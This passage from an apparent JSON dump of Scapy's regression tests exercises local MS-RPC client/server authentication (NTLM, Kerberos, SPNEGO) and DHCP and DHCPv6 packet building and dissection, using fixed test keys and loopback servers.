MyRPCServer.spawn(\n    DCERPC_Transport.NCACN_IP_TCP,\n    iface=conf.loopback_name,\n    ssp=ssp,\n    port=12345,\n    bg=True,\n)\n\n= Functional: Connect to it with DCERPC_Client over NCACN_IP_TCP with NTLMSSP\n\nclient = DCERPC_Client(\n    DCERPC_Transport.NCACN_IP_TCP,\n    auth_level=DCE_C_AUTHN_LEVEL.PKT_INTEGRITY,\n    ssp=ssp,\n    ndr64=False,\n)\nclient.connect(get_if_addr(conf.loopback_name), port=12345)\nclient.bind(find_dcerpc_interface(\"wkssvc\"))\n\nreq = NetrWkstaGetInfo_Request(\n    ServerName=\"Nice\",\n    Level=0x00000064,  # WKSTA_INFO_100\n    ndr64=False\n)\nresp = client.sr1_req(req)\n\nassert isinstance(resp.valueof(\"WkstaInfo\"), LPWKSTA_INFO_100)\nassert resp.valueof(\"WkstaInfo\").valueof(\"wki100_computername\") == b\"NiceServer\"\n\n= Functional: Start an endpoint mapper for NCACN_IP_TCP\n~ linux samba needs_root\n\n* rpcclient is dumb and doesn't understand 'ncacn_ip_tcp:127.0.0.1[12345]' means: don't try the endpoint mapper\n* ==> we must spawn an endpoint mapper on port 135\n* ==> we must be root.\n\nportmapserver = DCERPC_Server.spawn(\n    DCERPC_Transport.NCACN_IP_TCP,\n    iface=conf.loopback_name,\n    port=135,\n    bg=True,\n    portmap={\n        find_dcerpc_interface(\"wkssvc\"): 12345,\n    },\n)\n\n= Functional: Connect to the server with samba's rpcclient over NCACN_IP_TCP with NTMLSSP\n~ linux samba needs_root\n\n# Note: this is broken in rpcclient < 4.16 .. D:\n# https://github.com/samba-team/samba/commit/b5e56a30dfd33e89cfb602b1e7480e210434d600\n\n# Note: if this eventually crashes, consider checking whether rpcclient is now greater than 4.16 in github actions (ubuntu-latest)\nimport re\nrpcver = subprocess.Popen([\"rpcclient\", \"-V\"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True).communicate()[0]\nrpcver = tuple(int(x) for x in re.search(r\"[^\\d]+(\\d+\\.\\d+\\.\\d+).*\", rpcver).group(1).split(\".\"))\n\nif rpcver <= (4, 16, 0):\n    print(\"Skipping ncacn_ip_tcp test (broken rpcclient)\")\nelse:\n    result = run_rpcclient(\"ncacn_ip_tcp\", \"wkssvc_enumeratecomputernames\")\n    print(result.decode())\n    assert b\"Scapy\" in result\n\n= Functional: Close the endpoint mapper\n~ linux samba needs_root\n\ntry:\n    portmapserver.shutdown(socket.SHUT_RDWR)\nexcept OSError:\n    pass\n\nportmapserver.close()\n\n= Functional: Close the server\n\n# Close everything now\nclient.close()\ntry:\n    rpcserver.shutdown(socket.SHUT_RDWR)\nexcept OSError:\n    pass\n\nrpcserver.close()\n\n=  Functional: Re-Start the same MS-RPC server over NCACN_IP_TCP with KerberosSSP\n\nload_module(\"ticketer\")\nSRVKEY = Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex(\"85abb9b61dc2fa49d4cc04317bbd108f8f79df28239155ed7b144c5d2ebcf016\"))\n\n* Server SSP\nsrvssp = KerberosSSP(\n    KEY=SRVKEY,\n    SPN=\"ldap/dc1.domain.local\",\n)\n\n* Client SSP\nt = Ticketer()\nt.import_krb(\n    KRB_Ticket(bytes.fromhex(\"618204ae308204aaa003020105a10e1b0c444f4d41494e2e4c4f43414ca2233021a003020103a11a30181b046c6461701b106463312e646f6d61696e2e6c6f63616ca382046c30820468a003020112a10302010ea282045a04820456280c76dee773a1c5e5bd966094201dc028c76f36bbcb9b04c6bb15e02893834f92c694b26bd627fb3f17c2b7eb3ccc57f926e28a9b578b75d1a179c2ce5cba08c67d6b8529f4988490a86a25ec181615e29a344df498ee5ab11a76ff34d862a09b457f6ed528aeb3ad7e7f075f5a02513830554d17edd00554c8f80bab69b80dec86a55111e7ac476d5f099f2ae374378f814a7b85d60f3ce3cff003ff82dd81a7a91a38ff79e5f51e8576de6aba5c86cc7ae2baf13038a8b4b554ff07b9873f19a0c682e83a57811475688e93b2ff53d232a037a19aab83d741204f088fb711c883ce66f4f989752b2c8b18b5cc3fffecbfd9076c25ee39cb13856c09e2ff4958c26e5ecade8c47a2adfd5ceab9d458617b6d3998dd8ee99d0eb57765d0976031a5eb618b076b1e3f6565b4370f238e8829b13deccf5ec35279946816969d5e307e33820f98efb6f601f79c16344d891a415babc6d4d01f992d15ebbf12fb5948cdbef6ed1ba2e5303ca2b0afd0ef1e5231458571bb2e7f463ce539faef5706ac1f8fb34668b6dff101c2fdb4f231fa75c24bb5aff7ee4349ce1948c42fdb91863772bd6c0dac26f47fe6ab1e617cdc85d9e015898fb5d6a0d8a38423c2ef49ec42e200f983fa45526b8cd205db3015e9d37de9cdd5b5befe519f22b7e65780f251215f3ca618f136f73200dd719c23dd3d4072b185e58628b2408377d688ab4540d1395af818a609d3f4df611483a77cd13511978eacf7acc91dd9740d97a9cbbb1299898219650d5ae0d3c0d0521e32132c889a65819ead424ec4f2be1d930f022f27b88078d301a1ce73070062ddf2259b839211e9f83d4585242328e310656f188f3f4cec5d5a61f08f9f0c2a15992a5aa65c4da838a5fd8df426fc4c7679d6af4a261d943a2501ba7221a0af1bc2db19bdfda44064efd94db45231b89035db904b3361afb0c0da0ab4c17857e86a820027f274e01a60388931520db0d667b5453e985152ebd382872122415ec13a88eaaf8522e18b54f580365742ce5884c5fe1d719b752788ff283725c446739686c9f76c850800016287f7cb85390c045fd250104d44f641d62ce1c7882bad72b574e10e1521d843938f30ab7064b007479f2bdc5e8d0aaf26b89993bf2c7c413aec8b8cad4c8d4714904125b868a807329d54674eff909a690bfd735d2c7134c9e819e48a66385a4d48d13ea710f45df9605d727a3d28e5bd09f7385bcab92bc1903ce888571309ffaf370024c5cc527730d256b20ba19511df8f0aa970b638a4393a45db03969b7415270887ef7ec94abbda98632a8d14b0d73f855e416e6d167269d04ec2489c843f11db04074c60c7ea9a13d2d1aca94379e84529bbd96a73f0cd6d8d9d85b5e06272e8739d0d2607d0b57b6e763118996aa8bf903bbaf4ce2ebc20b071e1dbbd48102634823059d4a37d73c054d0e066a09b6c53fe7319a7fcde0f4624461c8b584743d40dc334b34230d56c338bab40426ce7ade90f05a01cb0c0b8963860e4156831e8aecfb8721bf437ab71af74c426acfe7f9134163364a7ee2e\")),\n    key=SRVKEY,\n)\nclissp = t.ssp(0)\n\nrpcserver = MyRPCServer.spawn(\n    DCERPC_Transport.NCACN_IP_TCP,\n    iface=conf.loopback_name,\n    ssp=srvssp,\n    port=12345,\n    bg=True,\n)\n\n= Functional: Connect to it with DCERPC_Client over NCACN_IP_TCP with KerberosSSP\n\nclient = DCERPC_Client(\n    DCERPC_Transport.NCACN_IP_TCP,\n    auth_level=DCE_C_AUTHN_LEVEL.PKT_INTEGRITY,\n    ssp=clissp,\n    ndr64=False,\n)\nclient.connect(get_if_addr(conf.loopback_name), port=12345)\nclient.bind(find_dcerpc_interface(\"wkssvc\"))\n\nreq = NetrWkstaGetInfo_Request(\n    ServerName=\"Nice\",\n    Level=0x00000064,  # WKSTA_INFO_100\n    ndr64=False\n)\nresp = client.sr1_req(req)\n\nassert isinstance(resp.valueof(\"WkstaInfo\"), LPWKSTA_INFO_100)\nassert resp.valueof(\"WkstaInfo\").valueof(\"wki100_computername\") == b\"NiceServer\"\n\n= Functional: Close the server\n\n# Close everything now\nclient.close()\ntry:\n    rpcserver.shutdown(socket.SHUT_RDWR)\nexcept OSError:\n    pass\n\nrpcserver.close()\n\n=  Functional: Re-Start the same MS-RPC server over NCACN_NP\n\nrpcserver = MyRPCServer.spawn(\n    DCERPC_Transport.NCACN_NP,\n    iface=conf.loopback_name,\n    port=12345,\n    bg=True,\n    debug=4,\n)\n\n= Functional: Connect to it with DCERPC_Client over NCACN_NP\n\nclient = DCERPC_Client(\n    DCERPC_Transport.NCACN_NP,\n    ndr64=False,\n)\nclient.connect(get_if_addr(conf.loopback_name), port=12345, smb_kwargs={\"debug\": 4})\nclient.open_smbpipe(\"wkssvc\")\nclient.bind(find_dcerpc_interface(\"wkssvc\"))\n\nreq = NetrWkstaGetInfo_Request(\n    ServerName=\"Nice\",\n    Level=0x00000064,  # WKSTA_INFO_100\n    ndr64=False\n)\nresp = client.sr1_req(req)\n\n# Close everything now\nclient.close()\ntry:\n    rpcserver.shutdown(socket.SHUT_RDWR)\nexcept OSError:\n    pass\n\nrpcserver.close()\n\nassert isinstance(resp.valueof(\"WkstaInfo\"), LPWKSTA_INFO_100)\nassert resp.valueof(\"WkstaInfo\").valueof(\"wki100_computername\") == b\"NiceServer\"\n\n= Functional: Re-Start the same MS-RPC server over NCACN_NP with SPNEGOSSP+NTLMSSP\n\nfrom scapy.layers.spnego import SPNEGOSSP\n\nssp = SPNEGOSSP(\n    [\n        NTLMSSP(\n            UPN=\"User\",\n            HASHNT=MD4le(\"Password\"),\n            IDENTITIES={\n                \"User\": MD4le(\"Password\"),\n            }\n        )\n    ]\n)\n\nrpcserver = MyRPCServer.spawn(\n    DCERPC_Transport.NCACN_NP,\n    iface=conf.loopback_name,\n    ssp=ssp,\n    port=12345,\n    bg=True,\n    debug=4,\n)\n\n= Functional: Connect to it with DCERPC_Client over NCACN_NP with NTLMSSP\n\nclient = DCERPC_Client(\n    DCERPC_Transport.NCACN_NP,\n    ssp=ssp,\n    ndr64=False,\n)\nclient.connect(get_if_addr(conf.loopback_name), port=12345, smb_kwargs={\"debug\": 4})\nclient.open_smbpipe(\"wkssvc\")\nclient.bind(find_dcerpc_interface(\"wkssvc\"))\n\nreq = NetrWkstaGetInfo_Request(\n    ServerName=\"Nice\",\n    Level=0x00000064,  # WKSTA_INFO_100\n    ndr64=False\n)\nresp = client.sr1_req(req)\n\nassert isinstance(resp.valueof(\"WkstaInfo\"), LPWKSTA_INFO_100)\nassert resp.valueof(\"WkstaInfo\").valueof(\"wki100_computername\") == b\"NiceServer\"\n\n= Functional: Connect to the server with samba's rpcclient over NCACN_NP with NTLMSSP\n~ linux samba\n\nresult = run_rpcclient(\"ncacn_np\", \"wkssvc_enumeratecomputernames\")\nprint(result.decode())\nassert b\"Scapy\" in result\n\n= Functional: Close the server\n\n# Close everything now\nclient.close()\ntry:\n    rpcserver.shutdown(socket.SHUT_RDWR)\nexcept OSError:\n    pass\n\nrpcserver.close()\n\n+ Cleanup\n\n= Restore conf.debug_dissector\n\nconf.debug_dissector = old_debug_dissector\n"
  },
  {
    "path": "test/scapy/layers/dhcp.uts",
    "content": "% DHCP regression tests for Scapy\n\n############\n############\n+ DHCP\n\n= BOOTP - misc\nassert BOOTP().answers(BOOTP())\nassert BOOTP().hashret() == b\"\\x00\\x00\\x00\\x00\"\n\nimport random\nrandom.seed(0x2809)\no = str(RandDHCPOptions(size=1))\n# print(\"RandDHCPOptions %s\" % o)\nassert o in [r\"[('NIS_server', '215.226.221.106')]\", r\"[('tcp_keepalive_interval', 3853054080)]\", r\"[('tcp_keepalive_interval', 3853054080L)]\"]\n\n= DHCPOptionsField\n\nvalue = [(\"hostname\", \"scapy\")]\ndhcpoptfield = DHCPOptionsField(\"options\", \"\")\nassert dhcpoptfield.i2repr(\"\", value) == \"[hostname='scapy']\"\nassert dhcpoptfield.i2repr(\"\", [\"opt\", \"opt2\"]) == \"[opt opt2]\"\nassert dhcpoptfield.i2m(\"\", value) == b'\\x0c\\x05scapy'\nassert dhcpoptfield.m2i(\"\", b'\\x0cunknown') == [b'\\x0cunknown']\nassert dhcpoptfield.m2i(\"\", b'\\x0c\\x05scapy') == [('hostname', b'scapy')]\n\nunknown_value_end = b\"\\xfe\" + b\"\\xff\"*257\nudof = DHCPOptionsField(\"options\", unknown_value_end)\nassert udof.m2i(\"\", unknown_value_end) == [(254, b'\\xff'*255), 'end']\n\nunknown_value_pad = b\"\\xfe\" + b\"\\xff\"*256 + b\"\\x00\"\nudof = DHCPOptionsField(\"options\", unknown_value_pad)\nassert udof.m2i(\"\", unknown_value_pad) == [(254, b'\\xff'*255), 'pad']\n\n= DHCP - build\n\ns = raw(IP(src=\"127.0.0.1\")/UDP()/BOOTP(chaddr=\"00:01:02:03:04:05\")/DHCP(options=[(\"message-type\",\"discover\"),\"end\"]))\nassert s == b'E\\x00\\x01\\x10\\x00\\x01\\x00\\x00@\\x11{\\xda\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00C\\x00D\\x00\\xfc\\x04}\\x01\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x03\\x04\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00c\\x82Sc5\\x01\\x01\\xff'\n\ns2 = raw(IP(src=\"127.0.0.1\")/UDP()/BOOTP(chaddr=\"05:04:03:02:01:00\")/DHCP(options=[(\"param_req_list\",[12,57,45,254]),(\"requested_addr\", \"192.168.0.1\"),\"end\"]))\nassert s2 == b'E\\x00\\x01\\x19\\x00\\x01\\x00\\x00@\\x11{\\xd1\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00C\\x00D\\x01\\x05\\xd5\\x83\\x01\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x04\\x03\\x02\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00c\\x82Sc7\\x04\\x0c9-\\xfe2\\x04\\xc0\\xa8\\x00\\x01\\xff'\n\ns3 = raw(IP(src=\"127.0.0.1\")/UDP()/BOOTP(chaddr=\"05:04:03:02:01:00\")/DHCP(options=[(\"time_zone\",123),(\"uap-servers\",\"www.example.com\"),(\"netinfo-server-address\",\"10.0.0.1\"),\n                                                                                   (\"ieee802-3-encapsulation\", 2),(\"max_dgram_reass_size\", 120), (\"pxelinux_path_prefix\",\"/some/path\"), \"end\"]))\nassert s3 == b'E\\x00\\x01=\\x00\\x01\\x00\\x00@\\x11{\\xad\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00C\\x00D\\x01)\\xa1\\x01\\x01\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x04\\x03\\x02\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00c\\x82Sc\\x02\\x04\\x00\\x00\\x00{b\\x0fwww.example.comp\\x04\\n\\x00\\x00\\x01$\\x01\\x02\\x16\\x02\\x00x\\xd2\\n/some/path\\xff'\n\ns4 = raw(IP(src=\"127.0.0.1\")/UDP()/BOOTP(chaddr=\"00:01:02:03:04:05\")/DHCP(options=[(\"mud-url\", \"https://example.org\"), (\"captive-portal\", \"https://example.com\"), (\"ipv6-only-preferred\", 0xffffffff), \"end\"]))\nassert s4 == b'E\\x00\\x01=\\x00\\x01\\x00\\x00@\\x11{\\xad\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00C\\x00D\\x01)\\xeai\\x01\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x03\\x04\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00c\\x82Sc\\xa1\\x13https://example.orgr\\x13https://example.coml\\x04\\xff\\xff\\xff\\xff\\xff'\n\ns5 = raw(IP(src=\"127.0.0.1\")/UDP()/BOOTP(chaddr=\"00:01:02:03:04:05\")/DHCP(options=[(\"classless_static_routes\", \"192.168.123.4/32:10.0.0.1\", \"169.254.254.0/24:10.0.1.2\"), (\"rapid_commit\", b\"\"), (\"forcerenew_nonce_capable\", [1, \"HMAC-MD5\"]), \"end\"]))\nassert s5 == b'E\\x00\\x01&\\x00\\x01\\x00\\x00@\\x11{\\xc4\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00C\\x00D\\x01\\x12D\\xf6\\x01\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x03\\x04\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00c\\x82Scy\\x11 \\xc0\\xa8{\\x04\\n\\x00\\x00\\x01\\x18\\xa9\\xfe\\xfe\\n\\x00\\x01\\x02P\\x00\\x91\\x02\\x01\\x01\\xff'\n\n= DHCP - fuzz\n\npkt = fuzz(DHCP())\nassert isinstance(pkt.options, RandDHCPOptions)\npkt.show()\npkt = DHCP(bytes(pkt))\npkt.show()\n\n= DHCP - dissection\n\np = IP(s)\nassert DHCP in p and p[DHCP].options[0] == ('message-type', 1)\n\np2 = IP(s2)\nassert DHCP in p2\nassert p2[DHCP].options[0] == (\"param_req_list\",[12,57,45,254])\nassert p2[DHCP].options[1] == (\"requested_addr\", \"192.168.0.1\")\n\np3 = IP(s3)\nassert DHCP in p3\nassert p3[DHCP].options[0] == (\"time_zone\",123)\nassert p3[DHCP].options[1] == (\"uap-servers\", b'www.example.com')\nassert p3[DHCP].options[2] == (\"netinfo-server-address\", \"10.0.0.1\")\nassert p3[DHCP].options[3] == (\"ieee802-3-encapsulation\", 2)\nassert p3[DHCP].options[4] == (\"max_dgram_reass_size\", 120)\nassert p3[DHCP].options[5] == (\"pxelinux_path_prefix\", b'/some/path')\nassert p3[DHCP].options[6] == \"end\"\n\np4 = IP(s4)\nassert DHCP in p4\nassert p4[DHCP].options[0] == (\"mud-url\", b\"https://example.org\")\nassert p4[DHCP].options[1] == (\"captive-portal\", b\"https://example.com\")\nassert p4[DHCP].options[2] == (\"ipv6-only-preferred\", 0xffffffff)\n\np5 = IP(s5)\nassert DHCP in p5\nassert p5[DHCP].options[0] == (\"classless_static_routes\", [\"192.168.123.4/32:10.0.0.1\", \"169.254.254.0/24:10.0.1.2\"])\nassert p5[DHCP].options[1] == (\"rapid_commit\", b\"\")\nassert p5[DHCP].options[2] == (\"forcerenew_nonce_capable\", [1, 1])\n\nrepr(DHCP(b\"\\x01\\x00\"))\nassert DHCP(b\"\\x01\\x00\").options == [b\"\\x01\\x00\"]\nassert DHCP(b\"\\x28\\x00\").options == [(\"NIS_domain\", b\"\")]\nassert DHCP(b\"\\x37\\x00\").options == [(\"param_req_list\", [])]\nassert DHCP(b\"\\x50\\x00\").options == [(\"rapid_commit\", b\"\")]\nassert DHCP(b\"\\x79\\x00\").options == [(\"classless_static_routes\", [])]\nassert DHCP(b\"\\x91\\x00\").options == [(\"forcerenew_nonce_capable\", [])]\nassert DHCP(b\"\\x01\\x0C\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\").options == [(\"subnet_mask\", \"0.1.2.3\", \"4.5.6.7\", \"8.9.10.11\")]\n\nb = b\"\\x79\\x01\\xff\"\np = DHCP(b)\nassert p.options == [b]\np.clear_cache()\nassert raw(p) == b\n\nb = b\"\\x79\\x0a\\x21\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\"\np = DHCP(b)\nassert p.options == [b]\np.clear_cache()\nassert raw(p) == b\n\nb = b\"\\x79\\x09\\x20\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\xff\"\nassert DHCP(b).options == [(\"classless_static_routes\", [\"1.2.3.4/32:5.6.7.8\"]), \"end\"]\n\n= DHCPOptions\n\n# Issue #2786\n\nassert DHCPOptions[33].name == \"static-routes\"\nassert DHCPOptions[46].name == \"NetBIOS_node_type\"\nassert DHCPRevOptions['static-routes'][0] == 33\n\n= Check that the dhcpd alias is properly defined and documented\n\nassert dhcpd\nimport IPython\n\nresult = IPython.lib.pretty.pretty(dhcpd)\nresult\n\n# 3 results depending on the Python version\nassert result in [\n    '<function scapy.ansmachine.dhcpd(self, pool: scapy.base_classes.Net | List[str] = Net(\"192.168.1.128/25\"), network: str = \\'192.168.1.0/24\\', gw: str = \\'192.168.1.1\\', nameserver: str | List[str] = None, domain: str | None = None, renewal_time: int = 60, lease_time: int = 1800, **kwargs)>',\n    '<function scapy.ansmachine.dhcpd(self, pool: Union[scapy.base_classes.Net, List[str]] = Net(\"192.168.1.128/25\"), network: str = \\'192.168.1.0/24\\', gw: str = \\'192.168.1.1\\', nameserver: Union[str, List[str]] = None, domain: Optional[str] = None, renewal_time: int = 60, lease_time: int = 1800, **kwargs)>',\n    '<function scapy.ansmachine.dhcpd(self, pool: Union[scapy.base_classes.Net, List[str]] = Net(\"192.168.1.128/25\"), network: str = \\'192.168.1.0/24\\', gw: str = \\'192.168.1.1\\', nameserver: Union[str, List[str]] = None, domain: Union[str, NoneType] = None, renewal_time: int = 60, lease_time: int = 1800, **kwargs)>',\n    '<function scapy.ansmachine.dhcpd(self, pool=Net(\"192.168.1.128/25\"), network=\\'192.168.1.0/24\\', gw=\\'192.168.1.1\\', nameserver=None, domain=None, renewal_time=60, lease_time=1800, **kwargs)>',\n]\n"
  },
  {
    "path": "test/scapy/layers/dhcp6.uts",
    "content": "% DHCPv6 regression tests for Scapy\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n#####################################################################\n#####################################################################\n##########################     DHCPv6      ##########################\n#####################################################################\n#####################################################################\n\n\n############\n############\n+ Test DHCP6 DUID_LLT\n\n= DUID_LLT basic instantiation\na=DUID_LLT() \n\n= DUID_LLT basic build\nraw(DUID_LLT()) == b'\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DUID_LLT build with specific values\nraw(DUID_LLT(lladdr=\"ff:ff:ff:ff:ff:ff\", timeval=0x11111111, hwtype=0x2222)) == 